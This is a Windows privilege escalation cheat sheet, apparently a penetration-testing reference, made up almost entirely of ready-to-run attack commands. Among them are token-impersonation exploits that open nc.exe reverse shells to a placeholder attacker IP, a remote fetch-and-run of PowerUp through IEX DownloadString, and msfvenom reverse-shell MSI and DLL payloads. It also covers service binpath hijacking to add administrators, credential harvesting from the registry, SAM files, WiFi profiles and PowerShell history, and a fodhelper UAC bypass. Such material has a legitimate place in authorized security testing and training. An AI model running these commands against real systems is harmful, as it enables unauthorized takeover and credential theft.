Windows Privilege Escalation Cheatsheet

🎯 Windows Privilege Escalation Methodology

Enumerate

WinPEAS/Manual

Privileges

whoami /priv

Misconfigs

Services/Tasks

SYSTEM!

nt authority

Automated Enumeration (Run First!)

WINPEAS Best all-in-one

Run WinPEAS

.\winPEASx64.exe

WinPEAS with all checks (detailed)

.\winPEASx64.exe quiet cmd fast

POWERUP

Run PowerUp all checks

powershell -ep bypass -c "Import-Module .\PowerUp.ps1; Invoke-AllChecks"

PowerUp from web

IEX(New-Object Net.WebClient).DownloadString('http://<IP>/PowerUp.ps1'); Invoke-AllChecks

SEATBELT

Run Seatbelt

.\Seatbelt.exe -group=all

SHARPUP

Run SharpUp (compiled PowerUp)

.\SharpUp.exe audit

Pro Tip

WinPEAS uses colors: Red/Yellow = high interest. Always redirect output to file for review: .\winPEASx64.exe > output.txt

Basic System Enumeration

Current user

whoami

Hostname

hostname

MOST IMPORTANT

User privileges - check SeImpersonate!

whoami /priv

Full user info (groups + privileges)

whoami /all

System info (OS version, patches)

systeminfo

Local users

net user

Administrators

net localgroup administrators

Network connections

netstat -ano

Running processes

tasklist /v Get-Process

Installed software

wmic product get name,version

🥔

Token Impersonation (Potato Exploits)

If you have SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege, you can escalate to SYSTEM!

Check for SeImpersonate

whoami /priv | findstr "SeImpersonate SeAssignPrimaryToken"

PRINTSPOOFER Win10/Server 2019

PrintSpoofer - get SYSTEM shell

.\PrintSpoofer64.exe -i -c cmd

PrintSpoofer - reverse shell

.\PrintSpoofer64.exe -c "nc.exe <IP> <PORT> -e cmd.exe"

GODPOTATO Newer Windows

GodPotato - SYSTEM shell

.\GodPotato.exe -cmd "cmd /c whoami"

GodPotato - reverse shell

.\GodPotato.exe -cmd "nc.exe -e cmd.exe <IP> <PORT>"

SWEETPOTATO Newer alternative

SweetPotato

.\SweetPotato.exe -e EfsRpc -p C:\Windows\System32\cmd.exe

JUICYPOTATO Older Windows (≤Server 2016)

JuicyPotato

.\JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c nc.exe <IP> <PORT> -e cmd.exe" -t *

Pro Tip

Service accounts (IIS APPPOOL, Network Service) usually have SeImpersonatePrivilege. Always check whoami /priv first!

Service Misconfigurations

UNQUOTED PATHS

Find unquoted service paths

wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"

If path has spaces + no quotes: C:\Program Files\Some App\service.exe → Windows tries C:\Program.exe first!

SERVICE PERMISSIONS

Query service config

sc qc <service_name>

Check service permissions (accesschk)

.\accesschk.exe /accepteula -uwcqv "Everyone" *

EXPLOITATION

Modify service binary path

sc config <service_name> binpath= "C:\Temp\shell.exe" sc stop <service_name> sc start <service_name>

Modify to add admin user

sc config <service_name> binpath= "net localgroup administrators <user> /add"

Check if service binary is writable

icacls "C:\Path\To\Service.exe" # Look for (F)ull, (M)odify, or (W)rite permissions

Stored Credentials

List stored credentials

cmdkey /list

Run command with saved creds

runas /savecred /user:administrator cmd.exe

AutoLogon credentials in registry

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "Password"

PuTTY saved sessions

reg query HKCU\Software\SimonTatham\PuTTY\Sessions\ /s

WiFi passwords

netsh wlan show profiles netsh wlan show profile name="<SSID>" key=clear

SAM & SYSTEM backup files

# Check for backup files: dir C:\Windows\Repair\SAM dir C:\Windows\System32\config\RegBack\ # Extract hashes with impacket: impacket-secretsdump -sam SAM -system SYSTEM LOCAL

AlwaysInstallElevated

Check user registry

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Check machine registry

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

If both return 0x1, you can install MSI packages as SYSTEM!

Generate malicious MSI (msfvenom)

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f msi -o shell.msi

Install MSI (runs as SYSTEM)

msiexec /quiet /qn /i shell.msi

DLL Hijacking

Find writable folders in PATH

# Check PATH environment variable: echo %PATH% # Check write permissions: icacls "C:\Path\From\PATH\"

Generate DLL payload (msfvenom)

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f dll -o hijackme.dll

Note

DLL search order: Application directory → System32 → System → Windows → Current directory → PATH directories. Place your DLL earlier in the search order.

Scheduled Tasks

List all scheduled tasks

schtasks /query /fo LIST /v

Find writable task executables

schtasks /query /fo LIST /v | findstr /i "Task To Run"

Check permissions on task binary

icacls "C:\Path\To\Task\Binary.exe"

Password Hunting

Search for passwords in files

findstr /si "password" *.txt *.ini *.config *.xml findstr /spin "password" *.*

Unattended install files

dir /s C:\*unattend*.xml dir /s C:\*sysprep.inf type C:\Windows\Panther\Unattend.xml

IIS web.config passwords

type C:\inetpub\wwwroot\web.config | findstr "connectionString password"

PowerShell history

type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

UAC Bypass

Check UAC level

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System # EnableLUA = 1, ConsentPromptBehaviorAdmin = 0-5

fodhelper bypass (Win10)

# Set registry key: reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe" /f reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /f # Trigger bypass: fodhelper.exe # Cleanup: reg delete HKCU\Software\Classes\ms-settings\ /f

Note

UAC bypass only works if you're already a local admin in a medium integrity context. It elevates to high integrity.

Kernel Exploits (Last Resort)

Get OS version and patches

systeminfo wmic qfe

Windows Exploit Suggester

# Save systeminfo output: systeminfo > systeminfo.txt # On attacker: ./windows-exploit-suggester.py --database 2024-01-01-mssb.xls --systeminfo systeminfo.txt

Notable Windows Exploits:

PrintNightmare CVE-2021-1675 (Print Spooler)

MS17-010 EternalBlue (SMBv1)

MS16-032 Secondary Logon

MS15-051 Win32k.sys

Warning

Kernel exploits can cause BSOD! Use only as a last resort and always have backup access.

Windows Privesc Checklist

□ whoami /priv - SeImpersonate?

□ Potato exploits if SeImpersonate

□ WinPEAS/PowerUp automated

□ Stored creds cmdkey /list

□ Unquoted paths & weak perms

□ AlwaysInstallElevated

□ Scheduled tasks writable

□ DLL hijacking

□ Registry passwords

□ Password files search

□ UAC bypass if local admin

□ Kernel exploits (last)